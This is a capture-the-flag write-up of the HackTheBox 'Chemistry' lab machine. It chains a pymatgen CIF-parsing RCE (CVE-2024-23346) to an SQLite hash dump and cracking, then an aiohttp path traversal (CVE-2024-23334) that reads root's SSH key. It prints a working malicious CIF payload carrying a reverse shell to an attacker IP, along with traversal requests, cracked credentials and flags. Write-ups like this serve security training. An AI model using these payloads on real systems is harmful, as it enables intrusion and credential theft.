HackTheBox Chemistry
Writeup for HackTheBox Chemistry
Machine Synopsis
Chemistry is an easy-difficulty Linux machine that showcases a Remote Code Execution (RCE) vulnerability in the pymatgen
(CVE-2024-23346) Python library by uploading a malicious CIF
file to the hosted CIF Analyzer
website on the target. After discovering and cracking hashes, we authenticate to the target via SSH as rosa
user. For privilege escalation, we exploit a Path Traversal vulnerability that leads to an Arbitrary File Read in a Python library called AioHTTP
(CVE-2024-23334) which is used on the web application running internally to read the root flag. (Source)
Key exploitation techniques:
pymatgen
RCE (CVE-2024-23346) via CIF file processing- SQLite database extraction and hash cracking
aiohttp
Path Traversal (CVE-2024-23334)- Arbitrary file read for root SSH key
Enumeration
An nmap
scan identified SSH (22/tcp) and an HTTP server on port 5000
running Werkzeug httpd 3.0.3 (Python 3.9.5)
.
1
2
3
4
5
6
7
8
9
10
11
❯ nmap -sC -sV -A 10.10.11.38
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b6:fc:20:ae:9d:1d:45:1d:0b:ce:d9:d0:20:f2:6f:dc (RSA)
| 256 f1:ae:1c:3e:1d:ea:55:44:6c:2f:f2:56:8d:62:3c:2b (ECDSA)
|_ 256 94:42:1b:78:f2:51:87:07:3e:97:26:c9:a2:5c:0a:26 (ED25519)
5000/tcp open http Werkzeug httpd 3.0.3 (Python 3.9.5)
|_http-server-header: Werkzeug/3.0.3 Python/3.9.5
|_http-title: Chemistry - Home
Accessing http://10.10.11.38:5000
presented a “CIF Analyzer” website. User registration and login were available.
The site allowed uploading Crystallographic Information Files (CIF) and downloading an example.cif
.
1
2
3
4
5
❯ cat example.cif
data_Example
_cell_length_a 10.00000
_cell_length_b 10.00000
...
Exploitation: Pymatgen RCE (CVE-2024-23346)
Researching “CIF exploit” or “pymatgen RCE” quickly revealed CVE-2024-23346, a critical vulnerability in the pymatgen
Python library affecting CIF file parsing, with a public Proof-of-Concept (PoC) available. The vulnerability allows arbitrary code execution via a specially crafted CIF file.
The provided PoC was adapted to include a reverse shell payload using os.system
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ cat vuln.cif
data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c 'sh -i >& /dev/tcp/10.10.14.5/1234 0>&1\'");0,0,0'
_space_group_magn.number_BNS 62.448
_space_group_magn.name_BNS "P n' m a' "%
A netcat
listener was set up on the attacker machine.
1
2
❯ nc -nlvp 1234
listening on [any] 1234 ...
The vuln.cif
file was uploaded via the CIF Analyzer website. Clicking “View” on the uploaded file triggered the RCE.
1
2
3
4
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.38] 48910
sh: 0: can't access tty; job control turned off
$ whoami
app
A shell was received as the app
user. A proper PTY shell was spawned for better interaction.
1
2
$ python3 -c "import pty;pty.spawn('/bin/bash')"
app@chemistry:~$
Lateral Movement: Database Credentials
The app
user shell was used to enumerate the filesystem for sensitive files.
SQLite Database Extraction
The instance
directory was found, containing database.db
.
1
2
3
app@chemistry:~$ cd instance
app@chemistry:~/instance$ ls
database.db
The database.db
file was identified as a SQLite database. Its content was initially observed as binary data when cat
ed directly.
1
2
app@chemistry:~/instance$ cat database.db
fKytableuseruserCREATE TABLE user (...); ...Mrosa63ed86ee9f624c7b14f1d4f43dc251a5'...
To properly extract the data, the database was downloaded to the attacker machine.
1
2
3
4
5
# On target: Set up a temporary HTTP server or use a transfer tool
app@chemistry:~/instance$ python3 -m http.server 8888 &
# On attacker machine: Download the database
❯ wget http://10.10.11.38:8888/database.db -O database.db
The file was confirmed as a SQLite database.
1
2
❯ file database.db
database.db: SQLite 3.x database, last written using SQLite version 3031001, file counter 111, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 111
The database was dumped to a human-readable format using sqlite3
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ sqlite3 database.db .dump > database.dump
❯ cat database.dump
# ... (truncated)
CREATE TABLE user (
id INTEGER NOT NULL,
username VARCHAR(150) NOT NULL,
password VARCHAR(150) NOT NULL,
PRIMARY KEY (id),
UNIQUE (username)
);
INSERT INTO user VALUES(1,'admin','2861debaf8d99436a10ed6f75a252abf');
INSERT INTO user VALUES(2,'app','197865e46b878d9e74a0346b6d59886a');
INSERT INTO user VALUES(3,'rosa','63ed86ee9f624c7b14f1d4f43dc251a5');
INSERT INTO user VALUES(4,'robert','02fcf7cfc10adc37959fb21f06c6b467');
# ... (truncated)
The database.dump
revealed several usernames and MD5-like password hashes. The hash for user rosa
was 63ed86ee9f624c7b14f1d4f43dc251a5
.
Hash Cracking & SSH Access
The hash for rosa
was cracked using an online service (e.g., CrackStation) or hashcat
.
1
2
3
4
# Using hashcat:
❯ echo '63ed86ee9f624c7b14f1d4f43dc251a5' > rosa_hash.txt
❯ hashcat -a 0 -m 0 rosa_hash.txt /usr/share/wordlists/rockyou.txt
63ed86ee9f624c7b14f1d4f43dc251a5:unicorniosrosados
The password for rosa
was unicorniosrosados
.
SSH access was then established using these credentials.
1
2
3
4
5
6
❯ ssh rosa@10.10.11.38
rosa@10.10.11.38's password: unicorniosrosados
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
# ... (banner)
rosa@chemistry:~$ cat user.txt
cda063877762f1bb2f6da9f3f72ebd27
The user.txt
flag was retrieved.
Privilege Escalation: AioHTTP Path Traversal
Privilege escalation was pursued by examining rosa
’s permissions and running processes.
1
2
rosa@chemistry:~$ sudo -l
Sorry, user rosa may not run sudo on chemistry.
netstat -ano
revealed a service listening on 127.0.0.1:8080
.
1
2
3
4
rosa@chemistry:~$ netstat -ano
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN off (0.00/0/0)
# ... (truncated)
curl
to localhost:8080
showed a “Site Monitoring” web application.
1
2
3
4
5
6
rosa@chemistry:~$ curl http://127.0.0.1:8080
<!DOCTYPE html>
<html lang="en">
<head>
<title>Site Monitoring</title>
# ... (HTML content)
Further curl -v
revealed the Server
header: Python/3.9 aiohttp/3.9.1
.
1
2
3
4
5
6
7
rosa@chemistry:~$ curl localhost:8080 -v
< HTTP/1.1 200 OK
< Content-Type: text/html; charset=utf-8
< Content-Length: 5971
< Date: Tue, 07 Jan 2025 02:51:53 GMT
< Server: Python/3.9 aiohttp/3.9.1
# ...
Exploiting AioHTTP Path Traversal (CVE-2024-23334)
Researching aiohttp/3.9.1 exploit
identified CVE-2024-23334, a Path Traversal vulnerability allowing arbitrary file read through a specially crafted URL, specifically when serving static files. The vulnerability can be exploited by appending ../
sequences to access files outside the intended static directory.
A Python exploit script targeting this vulnerability was used. The script typically iterates through path traversal depths to find the correct file. The assets
directory was identified as a potential static file serving location from the HTML output.
1
2
rosa@chemistry:~$ nano exploit.py # Pasted exploit code from GitHub
rosa@chemistry:~$ chmod +x exploit.py
The exploit.py
script was executed from the rosa
shell to read /root/root.txt
. The base URL was http://localhost:8080
, and the static directory was /assets
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
rosa@chemistry:~$ python3 exploit.py -u http://localhost:8080 -f /root/root.txt -d /assets
[+] Attempt 0
Payload: /assets/../root/root.txt
Status code: 404
[+] Attempt 1
Payload: /assets/../../root/root.txt
Status code: 404
[+] Attempt 2
Payload: /assets/../../../root/root.txt
Status code: 200
Respose:
eee0bb6ffb142045dbe8caf5d324f463 # Contents of root.txt
Exploit complete
To gain persistent root access, the /root/.ssh/id_rsa
file was targeted.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
rosa@chemistry:~$ python3 exploit.py -u http://localhost:8080 -f /root/.ssh/id_rsa -d /assets
[+] Attempt 0
Payload: /assets/../root/.ssh/id_rsa
Status code: 404
[+] Attempt 1
Payload: /assets/../../root/.ssh/id_rsa
Status code: 404
[+] Attempt 2
Payload: /assets/../../../root/.ssh/id_rsa
Status code: 200
Respose:
-----BEGIN OPENSSH PRIVATE KEY-----
# ... (root SSH private key)
-----END OPENSSH PRIVATE KEY-----
Exploit complete
The root SSH private key was successfully retrieved.
Side note: I had an error when trying to SSH with the private key obtained.
1 2 3 ❯ ssh root@10.10.11.38 -i id_rsa Load key "id_rsa": error in libcrypto root@10.10.11.38's password:Turns out you needed to add a trailing newline after
-----END OPENSSH PRIVATE KEY-----
to prevent this error.
1
2
3
4
5
6
❯ chmod 600 id_rsa # Set correct permissions for the private key
❯ ssh -i id_rsa root@10.10.11.38
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-196-generic x86_64)
# ... (banner)
root@chemistry:~# whoami
root
Cleanup
To maintain operational security, any artifacts left on the system should be removed.
1
2
3
4
5
# On target machine (as root, if possible)
root@chemistry:~# rm /home/app/uploads/vuln.cif # Remove the initial malicious CIF file
root@chemistry:~# rm /home/app/instance/database.db # Consider if this was copied or if original should be left
# On attacker machine
❯ rm database.db rosa_hash.txt exploit.py id_rsa